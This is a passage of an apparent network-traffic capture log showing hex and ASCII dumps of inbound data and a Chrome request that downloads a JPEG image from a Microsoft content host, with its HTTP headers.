e9 8e dc f2 f0 1d f8 ad 02 4b 2b 4c ab be 48 78 92 30 e4 31 fe e0 55 60 87 46 71 85 c4 1f a6 79 52 29 ed 5d aa 56 8f 8d 
13 f1 52 3e 49 2c 2e cd 34 c1 43 c8 56 fb 4e f7 3d 2c 06 b4 fd e6 24 e5 f1 60 f5 af 1d 99 dc c5 23 8b 2c 8b 18 38 2d 6b 6e 
00 fe 15 fe d3 da bb b7 2a 0e 36 ff 00 cc 05 e3 f2 e4 81 3d d4 ff 00 e2 96 56 01 4d b5 3a f4 bd aa 0e 47 ea 2b f2 7b 8c 91 
32 ab 4a c6 f0 f1 e4 bd a0 40 2c 15 6c 49 6d a0 5c b5 47 d8 43 f3 1b 8d 14 cc 89 c5 4e 4c eb 1f b9 61 6d a8 0d 89 b5 80 
b5 ce 82 b8 ff 00 a8 b9 1c c9 bb 5f 22 16 f7 
Data Ascii: ^/^?QomHbCJxxRPg/i$p''6b!}.wK+LHx01U`FqyR)]VR>I,.4CVN=,$`#,8-kn*6=VM:G+{2J@,lIm\GCNLam_"

2022-06-08 07:56:17 UTC 8116 IN Data Raw: 99 79 23 79 fd e0 fe d4 be ee 57 6e cf 73 ea 29 61 7d a7 1b bd 54 bd c3 ba 76 9f cb 6e 52 51 19 e5 56 1e 17 
00 de bb fc dc 96 9f 8f dc f8 9b 93 87 0a 48 e6 29 9c c2 64 50 fb 8e 37 30 db 5c 8e 77 eb 3e 54 30 fe b6 ed dc 98 78 f1 76 
52 b3 7f db 2d ea 66 72 7a 0b 9c 60 68 75 a6 d9 c3 8f d2 09 24 4b 30 b8 f2 f5 01 6a 06 4e d9 19 da 31 79 a6 00 db 43 6d 
d5 24 fd a7 84 b0 4d 36 aa 92 c8 c4 91 e3 b8 93 6b 53 f0 f9 d1 4a c0 a1 5b a3 30 1a 5a bb 57 ea 6e 20 92 7e e7 ce 9e 6e 
3f 27 88 4c cb ed 47 11 bc 6d 70 40 3b 89 a1 3f 73 e2 48 b2 3f aa cb 2c 8b 91 f3 fd d5 07 eb 79 b9 0d 04 d3 72 7d 10 06 
0e 43 47 9b b0 6b 9b 62 9c f7 6e dc a7 92 4c ae bc 8e 0c a6 22 1a 42 36 e3 40 a2 c4 db ce d4 9c 4e d5 22 cb 2f b9 2e cf 
ce cb 2c 57 8e 38 f7 99 1b 61 b2 df 2a b6 d4 8f 3a 6e 
Data Ascii: y#yWns)a}TvnRQVH)dP70\w>T0xvR-frz`hu$K0jN1yCm$M6kSJ[0ZWn ~n?'LGmp@;?sH?,yr}CGkbnL"B6@N"/
.,W8a*:n

2022-06-08 07:56:17 UTC 8132 IN Data Raw: 57 1b 8b cb 0a fc 84 89 56 56 3e bb bd bd 44 33 64 8b f8 d6 11 3c 0f a4 55 cc 71 9f fc a2 b1 1a 03 e2 14 0a ca 
0f 90 ab 94 17 1e 55 84 5f 80 ab 98 d7 f1 a3 c7 e4 46 1e 32 41 2a 49 cd 8d c6 87 c6 af ed 8b f5 d7 fc e8 1f 6f 23 fd 4d fe 
75 72 87 ff 00 86 df e7 58 56 c7 fa df fc eb 21 c6 3a 48 ff 00 e7 5c af d4 9d c9 9f d8 e3 28 21 4c af eb 73 f4 a6 0d f3 e3 5c 
8e e9 c0 ee bc 9e db c7 9a 5b af 16 27 f7 92 38 c0 c4 6a 08 bd c9 c9 63 e3 50 f7 5e 27 7e e4 fb db 87 a5 8e c8 8e d3 a1 
16 c5 c6 be 35 c7 fd 6d 3c dd 9e 5e 4f 78 56 91 61 ed 53 2c cb c5 94 e7 2b 76 3e bb ee ce 2f 71 d2 a3 9f bf 47 28 89 9c 
cb 23 ef 37 90 b1 b9 36 d7 c8 03 4c ee dc 97 e3 96 dc 81 02 c6 42 9e 9f f3 3d 6a f0 f1 a6 7d da 99 24 b1 f8 e2 b4 b8 ac 
81 57 22 bc 87 9d 64 1a c8 15 66 ac 9f c2 b5 
Data Ascii: WVV>D3d<UqU_F2A*Io#MurXV!:H\(!Ls\['8jcP^'~5m<^OxVaS,+v>/qG(#76LB=j}$W"df

2022-06-08 07:56:17 UTC 8140 IN Data Raw: e4 e3 ac 90 21 b9 8a 3e 41 04 b1 d2 d7 1f be 94 48 1a 3c de cc 37 29 f8 74 34 3d f0 05 ba ff 00 9d 18 e3 20 
ae 7c c8 f8 1d 45 15 7d d0 bf f5 11 75 ff 00 c6 83 90 1d 4e ae ba 0b f9 55 9f 46 d6 c3 a7 9d eb 74 72 1d a4 58 de f7 1f e7 
44 c0 db d5 45 ec 41 04 8f 0a 11 2c 52 07 18 1b ef b4 93 a5 ff 00 ce bd c5 91 51 ec 2e 09 24 1f 95 7e 63 84 8f c6 92 e5 
5a 58 49 b1 be b7 f8 d0 e2 77 6e 22 bc 40 80 27 8b 55 23 a9 1e 7d 6d 52 73 bf 4e 3c 72 a6 e2 55 09 50 50 5b c6 fd 7c 2d 
8a 7e 17 70 8d a3 e4 44 00 61 b4 86 1e 17 f1 f2 b5 7b 44 97 8f 18 90 5f a7 8d 43 c6 e6 45 b4 34 89 1d 80 2c 2c c4 7c f3 
4c bd ab 90 b2 40 f2 ba a6 74 2a db 76 d8 e4 11 e1 52 f0 f9 4c a0 c6 6c e5 4d c5 ed a8 af 72 f7 52 2f 8c 5f 3f ba b6 c7 60 
18 d8 d8 e9 f7 d1 29 20 08 ba 83 6c f8 d6 df 70 04 
Data Ascii: !>AH<7)t4= |E}uNUFtrXDEA,RQ.$~cZXIwn"@'U#}mRsN<rUPP[|-~pDa{D_CE4,,|L@t*vRLlMrR/_?`) lp

2022-06-08 07:56:17 UTC 8156 IN Data Raw: b5 cd ed b2 41 12 ce f2 5b b4 2c 2c 0a c2 d9 7c fa 96 f8 d8 3e ae 99 a5 85 b8 bd 83 98 a4 ff 00 37 6c 96 22 07 
86 1e 9b 93 2f 6d fd 24 2d 73 69 17 98 b7 6b 1c 6b 61 e4 3a 51 e4 f2 f8 1d 88 28 86 19 1b dc 9f 97 03 12 d1 2b 11 27 b6 
a5 01 1f cb 6d 57 35 ed f6 de 37 e9 f5 40 56 e9 17 7c e6 46 85 97 5b 82 b7 07 c7 15 c9 e7 14 ed 1c 68 97 9b 14 7b 9f bd 
72 5e 15 06 12 c6 d3 01 b8 b1 39 31 da c0 64 1a 65 12 7e 99 97 8c e5 19 d9 bb a7 34 b3 6d cd be 9b 8b 78 7f 35 70 78 
3c 45 fd 34 db f9 42 c3 8c 39 52 48 e0 29 1b 77 4a 2c 50 1f a8 1e 9a 66 94 43 c8 fd 33 04 85 ae 0f 17 b1 cb 29 05 4e 83 
79 02 fe 3d 68 cf fa 67 b9 71 5a 79 41 6f 77 8f d8 e0 e2 ed 6e 9f 58 21 c1 d3 fa 81 cd 71 bb 3f ea 1e 4c 49 0a c2 e2 33 0a 
28 13 b1 90 ca 4b ed f4 86 04 d8 00 16 c2 93 bc fe 9c 
Data Ascii: A[,,|>7l"/m$-sikka:Q(+'mW57@V|F[h{r^91de~4mx5px<E4B9RH)wJ,PfC3)Ny=hgqZyAownX!q?LI3(K

2022-06-08 07:56:17 UTC 8172 IN Data Raw: 90 3d 3b 16 e1 48 fb e9 b8 8a fd c6 1e 2a fa 51 64 d9 13 9b 8b 9d ac 0b 10 a3 a8 e9 43 9d c5 88 a7 2e 28 ff 
00 2f 24 7c 89 dd 8b a6 b6 5b 6e 5b 30 3d 73 e3 57 e3 c5 1f 1a 21 95 8e 18 c2 01 e7 b8 6b fc 69 8f 1e 07 92 28 bf ee 38 
23 07 e6 7f 01 9a 59 f8 16 69 da e3 d9 97 6b df 19 2d 63 70 bf 2a 68 e5 8e 1e 33 39 62 d6 22 e0 9e a9 6b 58 7c 69 61 ed 
ec dc 85 80 5e 59 e4 6c 6d 23 20 01 f5 7c aa 4f 79 a3 95 d1 85 a1 2b b5 48 1e 17 c0 b5 4c 38 6a 78 d1 cc 00 2b 0f d3 71 
fc d6 3a 13 d6 b7 48 c0 3d be f1 f0 f3 a1 1e ed 84 60 5b 02 c7 39 3d 68 6f 60 ca 7e 24 82 3c ba 56 ce 3a 83 28 04 ad cd ff 
00 01 49 23 c4 9c 74 2d b7 dc 99 ac 01 d4 9b 6a 6b da 3c 99 43 28 2c 0a a5 b7 11 fc a3 36 b1 23 ad 72 7f 55 f3 53 f2 b0 
c7 22 71 59 dd c0 5d e0 59 6e 3a 5c 62 fa 5e ad 14 f2 
Data Ascii: =;H*QdC.(/$|[n[0=sW!ki(8#Yik-cp*h39b"kX|ia^Ylm# |Oy+HL8jx+q:H=`[9=ho`~$<V:(I#t-jk<C(,6#rUS"qY]Yn:\b^

2022-06-08 07:56:17 UTC 8179 IN Data Raw: eb b2 45 11 fa 9c 8d 2e 34 be 31 43 9e dc 59 23 8e 50 6f b9 91 2c 46 a4 8b de ae 66 bc 42 c2 f0 2e e2 7c 72 
70 2c 75 27 14 de cc 43 db 06 fb 8b dc 10 7c b1 6a 72 f6 85 1c 05 93 62 e4 6d d2 cd d4 1a 58 94 58 5e eb bc 6f 20 f5 b1 
38 b1 a3 1f 26 27 65 70 40 66 3a 1e a0 01 51 f1 da e6 38 c5 95 05 86 d6 f1 bf 5f 3a 11 ae 17 5f 20 06 33 e7 41 51 ad b4 
6a 3a 9f f8 d2 98 88 de 40 35 ce be 79 a1 78 99 96 d9 0d a6 75 c9 a2 86 35 0c c0 1d a8 4d f4 d2 c7 1f 75 20 91 5a 3b ea 
d7 1f 8d 18 c4 86 52 c6 fd 31 6d 2f 52 37 3e 11 12 fd 2a f2 35 97 70 1d 2f 9c 5e b6 b8 df 72 1b d0 00 e9 fd 23 f8 50 3c 54 
5f 6c 91 72 c4 8b db c3 a0 b6 99 af 77 8c c4 7b 84 6e 5f 06 1a dc 0c 5a 9a 01 07 f6 ca 92 5c b0 02 df 0a 5f cc 33 b3 b0 01 
80 17 5d be 34 04 28 ce 82 c8 2f 15 c9 b9 d7 07 f1 
Data Ascii: E.41CY#Po,FfB.|rp,u'C|jrbmXX^o 8&'ep@f:Q8_:_ 3AQj:@5yxu5Mu Z;R1m/R7>*5p/^r#P<T_lrw{n_Z\_3]4(/

2022-06-08 07:56:17 UTC 8195 IN Data Raw: 69 c1 a8 39 72 a4 1c 0e 34 66 41 31 e5 b8 52 1a 4c ee 2b a9 f2 a3 0c dc 87 ef 5d ca 68 7d ae 5c bc 70 16 3b 
00 40 50 4d 80 0b 73 f1 ae 47 63 fd 39 db e2 e2 c0 ce 5e 39 25 25 a4 0a 56 d7 d3 36 19 f0 15 27 64 59 b9 bd d7 b7 26 e1 
c7 94 a9 58 11 1f 42 c2 c1 2c 07 86 86 b7 fe ac ee bc 7e 11 56 71 b0 da 49 08 26 fa 8b 03 f0 a4 5f 61 b9 d3 c1 e9 12 4e 
45 ae 33 85 fd c2 d4 fc 5f d3 3c 68 f8 dc 7d 23 08 9b 48 07 a9 f8 d0 e5 77 39 24 62 46 6e c6 f6 ab f3 ac 0f 5b eb 5f fa 18 
d6 e3 3b 88 d7 f8 0a 54 94 29 67 23 17 16 fb fa 54 be c1 1c 83 0b 20 75 8c dc 8b 9b 58 db 03 e7 5c 8e dd db 96 48 3b 8c 
1b bd c1 2a dd 23 6b d9 43 1c 5a f5 db 39 1f ab 62 91 bb 72 1d f2 c1 17 a9 a5 6d d9 f6 c0 f0 eb e5 5c be e3 b9 a5 e5 3d 
a5 87 8d 2a dd a4 36 ff 00 b6 dd 16 c3 41 52 f1 cc 32 
Data Ascii: i9r4fA1RL+]h}\p;@PMsGc9^9%%V6'dY&XB,~VqI&_aNE3_<h}#Hw9$bFn[_;T)g#T uX\H;*#kCZ9brm\=*6AR2

2022-06-08 07:56:17 UTC 8211 IN Data Raw: 7c d0 f7 38 51 7b 7b 76 83 b2 46 2c 2d d4 60 0f 0c 54 bc 48 a3 f6 90 81 ed 3a a5 dc 5b a3 5c 91 b7 a5 85 1e 
14 f3 4d f9 70 08 d9 1c 6b b4 5c 58 9d 33 fe 54 bf a6 ff 00 54 bc 6e 8d 14 5c b4 8f 89 cb 59 02 09 90 3c 6e 02 64 12 a7 af 
98 e9 56 8b 89 2c b0 0f 59 94 ef 7c ae 2e 5c 9c 5b 5f df 5c 7e 7f 77 ee 09 17 71 96 73 1f 20 fa ec 14 2e ec 85 be e6 03 ae 
84 5c 5c 1a ef 92 fe a7 9e 3e f3 d8 39 52 49 2f 15 19 43 40 6e 36 6d 51 a2 b2 e1 ad 7c 01 6a e4 f6 64 41 ca e1 71 d2 54 
e0 f1 93 fb 4b 8b 12 2e 72 49 03 cf c0 54 7d c3 95 c3 59 7b 97 23 90 bb 04 1b 54 03 26 4b 3a b5 80 04 e0 0f dd 52 f6 88 
64 80 4f 09 0f 24 05 85 d1 9b a0 3d 7c eb ba c5 c5 9a 1e 5f e5 78 e8 61 8a 20 0b 2c 82 ea d7 f3 bd a8 4b dc d8 46 2c 0c 
29 28 04 c9 8c e0 74 be 95 cc e1 cb 18 b2 98 7d b5 
Data Ascii: |8Q{{vF,-`TH:[\Mpk\X3TTn\Y<ndV,Y|.\[_\~wqs .\\>9RI/C@n6mQ|jdAqTK.rIT}Y{#T&K:RdO$=|_xa ,KF,)(t}

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 8219 IN Data Raw: 35 3a 52 73 bb ac 72 77 09 e3 59 58 72 0b 84 4b cc 0a 95 60 ab a7 5b 1c 1b 57 1f 93 de 11 f9 3b 1b dd 86 08 
e5 60 58 11 e9 76 da 2d 63 7b db 4a 9e 5e c1 c3 8e 2e 06 e7 9e 58 c6 fb 44 3a 88 bf a8 de d8 d6 bf f8 e1 e5 76 a4 90 c6 
91 2a 19 81 57 92 45 1b 4c 88 35 16 2a 0b 0c 59 b3 4f c3 83 b6 c5 2f bd ed cf f9 8f cb 14 11 4e d8 77 66 3a 97 1a f4 d0 
eb 4f c1 30 af 1b 84 5f de 95 52 38 c4 d2 5c 6d 52 85 85 f1 6f 57 8f 4a 6e 4f 6a 92 41 db b8 cc d2 92 72 59 8a 5a e0 58 
5d 8f 4a 43 c4 7e 73 f0 65 91 26 43 1a 3f be 87 e9 20 e0 68 3a 9a 5e cb da 7b 5c f3 48 c0 09 79 7c 58 dd e5 5c 5e d9 03 
5d 18 8c 9f 1a 6e e1 dd 7b 37 70 91 12 c9 bd e1 97 7e d0 2e 36 60 03 9e a7 4b d4 12 af e9 d9 8f b1 0a aa 2c 89 65 0f 7b 
86 bb 11 9f 1b e3 15 22 77 48 bf 2b 1b 20 6d 9e ec 0a 3d 
Data Ascii: 5:RsrwYXrK`[W;`Xv-c{J^.XD:v*WEL5*YO/Nwf:O0_R8\mRoWJnOjArYZX]JC~se&C? h:^{\Hy|X\^]n{7p~.6
`K,e{"wH+ m=

2022-06-08 07:56:17 UTC 8235 IN Data Raw: 2b c0 13 43 bd a3 7b ba fa 02 ad ee 49 06 f7 f2 fb ab 6c bd ce 79 f9 41 70 bc 6e 33 04 b8 20 5c 97 23 36 f0 eb 
5f 9b ed 5c 3e e7 cd 50 58 90 cd 1c 61 98 e8 18 64 8b 79 53 77 4e cf d9 83 f2 89 05 04 f3 33 ac 57 06 ff 00 bf e0 69 bb af 
37 b5 c1 2b ca de fb ab 92 9b 71 b7 67 a6 fe 9b 0d 3e 74 dc 7e 07 6d e0 f1 91 bd bb fb 43 71 6b 1b dc 31 39 3f 75 19 79 
a7 87 23 42 43 88 cc 40 2f ab a6 2d a6 3c 6a d1 f2 7f 2d 04 3e 8f 6f 8e 15 23 da c7 26 c3 ad 3f 70 87 b8 ee e6 c5 37 a5 
5c ef ba 30 c0 21 ae 18 5c 93 6e 95 08 e2 f3 5a 19 de 31 ee 98 2c 80 b5 ad 6f 31 f0 a5 e2 73 fb c7 33 64 87 db 75 8e 4d 
aa 6d a6 96 b9 1d 3a 50 e3 73 f9 d2 96 66 91 83 b3 9d c5 57 16 b9 3d 69 47 33 98 ec 91 a9 8d 4b 3b 1b 2b 91 d3 5d 7a 
8e 94 bc ae 39 bc 45 ca c9 13 31 24 1d de a2 8d f1 c8 
Data Ascii: +C{IlyApn3 \#6_\>PXadySwN3Wi7+qg>t~mCqk19?uy#BC@/-<j->o#&?p7\0!\nZ1,o1s3duMm:PsfW=iG3K;+
]z9E1$

2022-06-08 07:56:17 UTC 8251 IN Data Raw: 36 6e dc d8 ea 68 72 26 13 49 1b fd 1b 46 a3 e7 e1 40 0e 3c cc 0a 58 dc 8b 1b 75 3e 15 ee c7 c5 b0 b0 0c 3d 
c2 6f 6f 85 3b c7 14 3b 15 86 d2 14 93 91 7a 46 82 38 d2 65 18 25 06 d2 4e b9 14 19 4c 61 87 a0 b2 a5 88 cd 08 8c c8 
84 d8 0f 46 33 f0 a6 e3 f2 27 2c ed 6d ac 2e 3e ef f9 d1 97 79 91 02 da ea 49 f5 0f 1f 0a 12 b4 7b 63 94 9f 0f 49 1e 7e 74 
93 43 19 0b a6 4d c8 eb b8 f9 55 e4 58 ca 2e 56 cd 9b f8 93 a9 a6 3c 96 8d 3d c1 70 05 d8 83 f2 e9 5e da ca 56 46 07 60 
02 e0 9d 6d e7 7a 49 67 95 55 14 16 3b 6c 6c 01 b6 9d 73 52 7b d2 ca 54 03 a6 07 88 a6 31 2f b8 14 06 2d 9c f8 63 ca 
8a ca 09 8e fb 58 6c c8 dc 29 9f 9d 01 2a ad e8 31 81 a9 fe 6b 69 e4 68 49 c6 32 44 a4 5d 88 16 0d e1 91 8c 53 89 39 24 
85 be d5 0d 82 0d 2f 2a 39 2e fa 00 7c 2d d4 56 e9 5c ee 61 
Data Ascii: 6nhr&IF@<Xu>=oo;;zF8e%NLaF3',m.>yI{cI~tCMUX.V<=p^VF`mzIgU;llsR{T1/-cXl)*1kihI2D]S9$/*9.|-V\a

2022-06-08 07:56:17 UTC 8254 IN Data Raw: b4 f0 fb bb 94 82 d7 db d4 7c 68 07 79 0b be 8a 10 e4 f4 a5 9a 59 18 82 48 6f 3f 0d 6b de e3 cc c2 2b dc 8b 00 
49 b7 40 3c e9 8a 33 9b 5a e3 43 e3 4c 6e db c5 f1 72 0d be 1e 54 89 3b b1 71 e9 25 b2 b6 3e 3e 55 b6 f8 26 d9 c8 c0 
e9 46 35 38 c2 9b ae 3c cd 6d 73 66 b0 65 fe 1f 0a 46 82 c3 78 dc 0d f3 71 d2 9b f3 6c 81 4e df e6 b5 81 1e 5d 68 a4 6a 
b2 70 98 6e 59 ae 08 6b 79 74 37 c5 2a 2f 1c 23 8b 8e ba f8 56 c6 85 88 c7 a7 04 7d f5 b0 a1 49 0a da fa 5f c8 8a 02 38 
15 8d 8e e6 dd 62 3f f0 a6 49 21 0c 9b 40 97 69 c5 b5 07 e3 45 52 21 bd f2 32 08 60 74 b5 37 26 18 d5 50 7f dd 56 d4 11 
8a 24 46 a3 c6 f6 16 bf 5f 89 a7 71 04 47 70 01 98 00 2f 6d 2f e7 d6 bd c8 f8 c8 33 77 11 9b e4 f8 d4 73 2f 16 3d d1 d8 9c 
e2 fd 09 a1 f9 ee 2f ad b3 74 03 6e 7a d3 2c 64 9b 90 
Data Ascii: |hyYHo?k+I@<3ZCLnrT;q%>>U&F58<msfeFxqlN]hjpnYkyt7*/#V}I_8b?I!@iER!2`t7&PV$F_qGp/m/3ws/=/tnz,d

2022-06-08 07:56:17 UTC 8270 IN Data Raw: ae 6f 6c f4 07 a9 18 f0 a9 79 71 37 b8 d1 c6 a4 f2 66 9b f9 59 88 53 8b 5d af 83 7c 8c 50 9e 35 2b c8 8d 13 74 
91 80 18 3a fa 57 23 50 3a b7 4f 3a 6f f7 bd ad b4 d8 c9 63 79 19 3a 81 e6 35 a8 e0 78 cf b4 8b b9 0a 69 1d 86 b8 be 2d 
6d 69 66 31 34 9c 94 b8 88 90 73 1e d2 64 8c 1f fe 59 7e 62 a6 87 89 0b 45 18 b6 e7 56 24 ba 16 18 2b e5 d6 da 8b 8a 
9b bf 73 e3 81 1f dc 29 0f f7 48 1e e1 5d a8 2d 81 b0 f5 53 ad e9 62 e6 2a 9e 3b c8 d2 0b 00 16 39 74 68 c5 b5 07 a7 f9 
d7 36 0e 72 b2 7b 27 dd 55 06 ec c9 7b 6e 55 06 db 6c 68 2b 39 93 84 ab 18 05 58 0b 67 18 5e a0 64 f9 60 d7 fb b7 6f 70 
bc be 39 46 55 1f 4b 46 09 c8 f8 75 f2 35 3f 3b 98 a6 cc a3 62 80 55 91 58 82 cc 7a 94 b8 00 fd 59 d7 15 2c 11 72 0c f0 
c9 0c b2 81 b4 0b 00 37 25 80 c1 cd c5 c6 9a 1a 83 9f dc 
Data Ascii: olyq7fYS]|P5+t:W#P:O:ocy:5xi-mif14sdY~bEV$+s)H]-Sb*;9th6r{'U{nUlh+9Xg^d`op9FUKFu5?;bUXzY,r7%

2022-06-08 07:56:17 UTC 8286 IN Data Raw: 0a 85 56 38 dc a4 00 1b 5f 0c 66 b8 d3 bb bb 24 f2 4a c0 28 da cb 3c 67 64 f1 95 be 34 0f fe ab df 5a 9f 8f 12 
fb 0f 2c 0c 37 b8 21 89 51 80 18 f8 8c 74 b7 5a 8f 8d 1b 0d ed 31 d8 cf 66 31 96 5b b7 88 39 07 f8 d7 1a 78 64 10 cf 33 f2 
22 78 60 b6 f8 f7 26 f5 66 dd d1 5c dc 12 2c 56 e0 66 93 95 bd 92 66 e2 86 ba b7 f6 dd 92 e1 95 bc 7c bc 2a 4e 7c 65 77 
f1 d4 46 42 1f 51 57 36 50 46 b6 be 2e 3f 75 00 c0 34 f0 01 21 d8 df ca 06 96 3a 8b 1b 9b 54 69 d9 42 14 37 6b ae 44 7b 
0e 41 1a 9f c7 d3 4d 3f d5 0b a2 6d c1 04 96 27 71 23 a5 88 a9 1b 87 b8 f1 e5 de e1 6e 2d ba 44 d8 c6 e3 42 45 c6 70 df 
2a e3 99 e0 96 07 8b dc 8d 79 0a c7 7a ad ee 12 ff 00 d2 06 2d 6f 13 5b 27 31 c8 e3 6e 56 ca aa 76 ed 53 6f 0d b8 6f 82 
9a f6 a6 22 60 39 3b 76 b5 8a 86 22 d9 ff 00 4b 7d 
Data Ascii: V8_f$J(<gd4Z,7!QtZ1f1[9xd3"x`&f\,Vff|*N|ewFBQW6PF.?u4!:TiB7kD{AM?m'q#n-DBEp*yz-o['1nVvSoo"`9;v"K}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

62 192.168.2.3 49790 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:26 UTC 8289 OUT GET /cms/api/am/imageFileData/RWwzJo?ver=ad90 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive
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2022-06-08 07:56:26 UTC 8289 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWwzJo?ver=ad90
Last-Modified: Fri, 03 Jun 2022 19:08:18 GMT
X-Source-Length: 774006
X-Datacenter: northeu
X-ActivityId: d64dc900-f17a-4da8-b1a8-296d97389024
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 774006
Cache-Control: public, max-age=429151
Expires: Mon, 13 Jun 2022 07:08:57 GMT
Date: Wed, 08 Jun 2022 07:56:26 GMT
Connection: close

2022-06-08 07:56:26 UTC 8290 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-06-08 07:56:26 UTC 8305 IN Data Raw: 7f fb ea ba 7f 12 78 3f 4f f1 34 7b a6 b4 ff 00 4a 54 d8 92 46 fb 1f e9 c7 6a f8 df c0 3e 10 f1 d7 86 7e 3c db f8 
73 5e d4 ee e0 d3 2c ed 3e d1 63 3d ad d4 89 6f fe f0 5e f9 3f 2b 29 af a7 74 df 1b 5e 68 92 6d d4 a4 f3 d1 e6 f9 3f be 9b 
6a 30 98 e7 85 aa a7 83 a9 28 bf 5f e9 86 23 09 2c 4d 2b 62 63 16 bb 7f c3 68 55 8f c0 3a 7c b7 51 c6 b1 cf b3 fe 7a 6f ad 
45 f8 5f a5 5d 41 ff 00 2d e0 75 f9 1e 4f 3f f8 bf e0 59 ae a6 46 8a 37 8e e2 1f 22 0b 7d 8d 37 ef ff 00 ba dc b1 af 1e f8 2f 
f1 ba eb e3 17 8c 75 db 5b 7f 22 0d 12 d5 db c9 91 37 79 bf 2c 9b 55 9b f8 7e 75 19 af b1 fe de cd 39 5d 5f 6e ec 8f 9d fe 
c9 cb dc d5 25 42 37 eb a6 c7 4d ac 7c 1e bb b3 4d da 7d fa 5e ff 00 d3 39 d3 63 fe 0d d2 b8 1b ab 59 ec 2e a4 b7 ba 82 
4b 5b 85 fb f1 bf c8 f5 f4 0d ae a9 
Data Ascii: x?O4{JTFj>~<s^,>c=o^?+)t^hm?j0(_#,M+bchU:|QzoE_]A-uO?YF7"}7/u["7y,U~u9]_n%B7M|M}^9cY.K[

2022-06-08 07:56:26 UTC 8321 IN Data Raw: 39 b5 7b a6 b6 ee 78 af ec e5 a7 be 87 36 b5 e0 79 bf d5 78 72 fa 6b 1f 3f fd 9f 35 da 35 c1 ff 00 66 bb cf 0a 
e9 72 69 3f 17 bc 75 f6 79 fc cb 29 ee 21 96 58 3e 5f 92 56 81 09 ae 57 c1 3f 0d fc 75 a5 fc 6d f1 9f 88 5e 7b 1f f8 47 f5 bb 
e5 b9 4f 23 73 bf b6 57 8d a7 6f 5a ef ad 6d db 50 f1 96 bb aa 43 1f d9 65 b7 b8 6d 3d d2 34 ff 00 5d 1a 2a 6d 93 fd ee d5 
b5 48 c2 f3 70 da e8 54 e5 39 2a 6a a6 fc ba f9 6c 76 92 eb 12 db de 59 d9 c7 f2 47 2f cf fe ff 00 b0 a8 6c fc 71 a4 6b 31 
f8 88 5b cb b2 d7 46 96 4b 7b b9 ff 00 83 74 4b 99 3f 01 51 c1 07 db 36 6e 4f 3b 6b ef 5f f6 1b da bc 5b c2 3e 0f f1 0e 87 
e0 9f 8c 5a 16 a8 7e 79 6e f5 39 6d 2f a3 fe 35 75 2f bc 56 94 66 9b e4 9f 56 97 cb 5b 9e 7e 22 9f 2c 64 e3 bc 62 df ce ea 
c7 a8 c3 79 05 f7 88 93 5a d3 6f e0 
Data Ascii: 9{x6yxrk?55fri?uy)!X>_VW?um^{GO#sWoZmPCem=4]*mHpT9*jlvYG/lqk1[FK{tK?Q6nO;k_[>Z~yn9m/5u/V
fV[~",dbyZo

2022-06-08 07:56:26 UTC 8324 IN Data Raw: a2 ed ea 5d 1c 74 e4 ff 00 7d 4e d1 ee af a7 ae da 1e e3 e2 2f 15 78 a7 4f fb 25 c5 8f 84 ff 00 b5 f6 dc 34 49 
e4 5e aa 7e e9 ff 00 88 ee e3 83 ef 5b d1 86 d4 ad 52 cf 57 d2 63 9d 65 4d 8f e6 6d 7d 9b bf 87 8f 4a bd 79 a6 ce 90 cf f6 
1b af b2 ca df ec 6f 5f fb e6 a3 b7 d5 10 dd 79 37 09 f6 69 db fe f8 7f f7 6b 86 15 aa d0 9a 70 76 6b ca cf ef 3d 87 4e 9d 48 
bb ab a3 e7 8f 10 5a c5 a3 6b 97 f6 30 c9 23 c5 6f 70 c8 92 49 fd de d5 47 ed 15 ea 7e 24 f8 7d 65 af 78 c3 55 61 77 3d 
b3 fd 9e 1b bf dd a2 ba 7c db d4 ff 00 e8 15 c8 6b 5f 0d 75 5d 36 09 2e ad 7c bd 46 de 2f bf 1c 7f 24 a9 b7 fd 9f e2 fc 2b fa 
27 2d e2 4c bb 19 0a 74 fd b2 f6 8d 2b a7 a6 b6 d7 cb 7f 33 f0 ec c7 86 f1 f8 79 ce ac 29 de 17 76 b6 b6 57 d3 4d ce 5f ce 
6a 3c ca aa b7 8a df 76 9d f6 a4 f2 
Data Ascii: ]t}N/xO%4I^~[RWceMm}Jyo_y7ikpvk=NHZk0#opIG~$}exUaw=|k_u]6.|F/$+'-Lt+3y)vWM_j<v

2022-06-08 07:56:26 UTC 8340 IN Data Raw: 80 3a 2f 85 75 99 35 ed 07 42 82 d7 4f ba 75 7b 78 e4 db f6 7d ca b9 32 44 ff 00 de f9 7e e7 e2 33 54 fc 45 f1 
